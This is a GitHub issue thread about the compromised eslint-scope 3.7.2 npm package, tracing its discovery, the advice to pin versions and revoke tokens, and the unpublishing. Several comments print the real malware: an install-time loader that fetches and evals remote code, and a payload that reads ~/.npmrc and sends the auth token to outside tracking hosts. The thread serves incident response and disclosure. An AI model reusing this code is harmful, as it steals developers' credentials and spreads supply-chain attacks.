Virus in eslint-scope?

[pronebird]

Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes

Update from the maintainers

Incident status report from npm

Please follow the comment by @platinumazure that gives a little insight into what happened:
#39 (comment)

It also appears that the same code was published in eslint-config-eslint@5.0.2, which has also since been unpublished. See eslint/eslint#10600 for more information.

In the meantime

1. Pin the version of eslint-scope to 3.7.1, one way is to add the resolutions to your package.json

  "resolutions": {
    "eslint-scope": "3.7.1"
  }

Verify the dependency version with yarn list eslint-scope. It should print out eslint-scope@3.7.1

2. Use package-lock.json or yarn.lock and have it in your repo if possible. Do not upgrade to 3.7.2 even if yarn outdated shows that there is a new version available.

3. Revoke your NPM token as suggested in the comment below Virus in eslint-scope? #39 (comment). You can do the same by logging in to https://www.npmjs.com/, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services.

The issue

I don't know what the hell this is but it looks like a virus to me:

[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)

The contents of a suspicious file:

try{
    var https=require('https');
    https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
    r.setEncoding('utf8');
    r.on('data',(c)=>{
    eval(c);
    });
    r.on('error',()=>{});
    
    }).on('error',()=>{});
    }catch(e){}

The URL it attempts to load is http://pastebin.com/raw/XLeVP82h

Also it attempts to send my .npmrc somewhere.

This is version 3.7.2 that's been published an hour ago.

[buhichan]

+1
what the heck is going on

[platinumazure]

Thanks for the issue!

Latest should be 4.0.0. I highly recommend installing 4.0.0 directly while we figure out what's going on and unpublish 3.7.2 (and tag 4.0.0 as latest again).

I'm checking our Jenkins server logs, but as far as I know, none of us on the ESLint team would have published this. It's possible some npm credentials got compromised.

Thanks again for bringing this to our attention.

[pronebird]

Yeah it's likely that NPM credentials has been stolen. Also, I suggested to the NPM team to double check with Github repository to make sure that no untagged releases happen. This should at least limit a damage in cases when only NPM account has been stolen.

[platinumazure]

I've confirmed that our Jenkins server did not do this. So at least that is probably not compromised.

[pronebird]

babel-eslint depends on ~3.7.1 which immediately makes it pull the vulnerable 3.7.2

[platinumazure]

It might be a good idea to pin the dependency while we work on unpublishing. We have no plans to publish any 3.7.x so you could safely pin at 3.7.1.

[pronebird]

I pinged babel-eslint team to update to 4.0.0 or alternatively they can fix the version in package.json. Meanwhile I've pinned the version to 3.7.1 in my package.json.

"resolutions": {
  "eslint-scope": "3.7.1"
}

The issue is that we have a boilerplate repo without a .lock file. We opt-in for not having it to prevent deps going stale. So the malicious release is being pulled by default, but resolutions seem to do the trick.

[platinumazure]

I've sent a message to npm's support asking for help in identifying what happened.

I do not have publish access to eslint-scope so I can't unpublish it directly. I've pinged one of our TSC members who does have that access. So hopefully we'll be able to unpublish as soon as he gets the message and has time to do it.

In the meanwhile, in case it wasn't clear from earlier in this thread: do not use eslint-scope@3.7.2 as it is compromised. Use 3.7.1 or 4.0.0 instead. Thanks!

[aSapien]

Is it possible to publish a clean 3.7.3 version to avoid infecting projects that are configured to auto-bump minor semvers?

[yvele]

Hey I have a strange behaviour with eslint-scope@3.7.2 postinstall, I cannot install it

> eslint-scope@3.7.2 postinstall /Users/yves/runtime/node_modules/babel-eslint/node_modules/eslint-scope
> node ./lib/build.js

undefined:25
    https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+conte
                                                                                                                        ^^^^^

SyntaxError: Unexpected end of input

[platinumazure]

@aSapien I think that's a reasonable suggestion. However, as I don't have publish access, I can neither publish 3.7.3 nor unpublish 3.7.2. Hopefully the folks who do have access will be online soonish and can work on this.

Thanks for your patience!

[platinumazure]

@yvele As noted elsewhere in the thread, 3.7.2 is compromised. Do not use it. Please install 3.7.1 instead. Thanks!

[yvele]

@platinumazure yep I've seen that but I'm using babel-eslint... an issue is already open babel/babel-eslint#656

[platinumazure]

@yvele Once we unpublish, you should be able to do a fresh reinstall (delete node_modules and run npm install) and get a safe version. In the meantime you could also use npm install eslint-scope@3.7.1 to force that version to be used by babel-eslint. Hope this helps.

[byCedric]

Is it possible to "republish" 3.7.1 as 3.7.3 so all of the automated processes will use the uncompromised version? Seems like a good idea until this is sorted out.

Nvm, @aSapien already suggested this. Sorry, was stressing a bit because of this!

[yvele]

Basically what's are the effets of the infected package?

This is a hacked version which steals the npm credentials and sends them to remote server.

@pronebird Please update the issue first post with the effet and advise people to immediately change their npm tokens

[platinumazure]

@byCedric See #39 (comment)

[manjotnms]

Is this problem specific to Linux environment? I am able to install in windows without any problem

eslint-scope@3.7.2 postinstall D:\xx\xxx\node_modules\eslint-scope
node ./lib/build.js

[byCedric]

@manjotnms, please renew your NPM credentials. Installing it successfully means that the attacker's script also successfully finished. In our Linux CI environment it failed luckily, but that doesn't mean it's safe...

[selbekk]

The pastebin in question has been removed / emptied out now.

For later reference - this is what was contained in said pastebin:

try{
var path=require('path');
var fs=require('fs');
var npmrc=path.join(process.env.HOME||process.env.USERPROFILE,'.npmrc');
var content="nofile";
 
if (fs.existsSync(npmrc)){
     
      content=fs.readFileSync(npmrc,{encoding:'utf8'});
      content=content.replace('//registry.npmjs.org/:_authToken=','').trim();
 
      var https1=require('https');
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+content}},()=>{}).on("error",()=>{});
      https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+content}},()=>{}).on("error",()=>{});
   
    }
}catch(e){}

As you can tell, the script finds your npmrc file and passes your auth token to two different stat counter websites, via the referrer header.

Anyhow, it's removed now, so any new projects won't be contaminated (edit: at least until somebody re-adds the code)

[manjotnms]

@byCedric : I am using eslint 4.7.2, which has a dependency on eslint-scope 3.7.2. I suppose in this case eslint has to renew its NPM credentials.

[byCedric]

@manjotnms, yes exactly, I would recommend you do the same 😄

[TimvanScherpenzeel]

Make sure to change your password and enable 2FA.

Check your current token in ~/.npmrc.

Log into npm using npm login

Revoke the token using npm token delete
https://docs.npmjs.com/getting-started/working_with_tokens#how-to-revoke-tokens

[pronebird]

@yvele I've updated the issue with some suggestions on how to circumvent the update to the malicious 3.7.2 and how to revoke the npm account token (comment by @TimvanScherpenzeel )

[rufushonour]

Looks like its been unpublished :)

[cusspvz]

Solved in about 1h... You guys must wear capes. <3

[ArcanisCz]

@Mikotochan

The other ridiculous thing with npm is that you can have different source in your git repo and ship a totally different code via npm.

You can in Maven too. And you can even compile different C++ executable than you put in your git. Thats is the reason, we use signatures to verify integrity and why reproducible build/compile matters.

[x3ro]

For anyone curious about the signing situation, the NPM maintainers actively rejected package signing in 2015.

[shaunwarman]

npm token revoke <token>

[paulirwin]

Some of the comments on here re: package signing are combative, unproductive, and off-topic. If you have concerns about npm's approach to package management, please share them at https://github.com/npm/npm/issues

[kelset]

I suggest that maintainers lock this issue so that they only will be able to post and update those subscribed to the issue.

[nevir]

Do we think this is confined to eslint-scope, or should we be concerned about most packages under the eslint umbrella?

[hzoo]

@paulirwin, @kelset, yep I have access so did it now. Because there's a lot of sources linking to this issue, we want to keep noise to the minimum, and promise that we will update the thread with more information as we get it.

• To revoke your npm tokens: https://www.npmjs.com/settings/~/tokens
• To enable 2FA: https://www.npmjs.com/settings/~/tokens
• I would also recommend using a lockfile (yarn/npm) to prevent this from automatically happening when installing dependencies

[ilyavolodin]

Update: We went through every package under ESLint organization and verified that the only package that was published with this issue was eslint-scope.

Edit: It looks like eslint-config-eslint was also compromised, but has since been unpublished as well.

[kaicataldo]

Sorry - I didn't mean to close this!

[kaicataldo]

It looks like eslint-config-eslint was also compromised, but has since been unpublished as well.

[aladdin-add]

Scanning script to find infected @3.7.2 installations: https://gist.github.com/brownstein/8aaade4953807f512d416da0c6a5a5f6

(refs: #40 thanks @brownstein)

[kaicataldo]

Incident status report from npm

[platinumazure]

We're working on publishing eslint-scope@3.7.3 and eslint-config-eslint@5.0.3. Apologies for the confusion as earlier I had suggested we might not publish new patch versions.

Edit: Decision was made not to publish a new eslint-config-eslint due to much reduced usage and much smaller time vector.

[not-an-aardvark]

eslint-scope@3.7.3 has been published to npm. Aside from the version number, this is exactly the same package as eslint-scope@3.7.1. This should allow users with an npm proxy who already have 3.7.2 cached to avoid downloading the malicious version when specifying a version range like ~3.7.

[kaicataldo]

This has now been resolved. Please find a write up of the incident on our blog.

The ESLint team apologizes for allowing this to happen. Thanks to the community for making us aware of the issue so quickly and for providing information.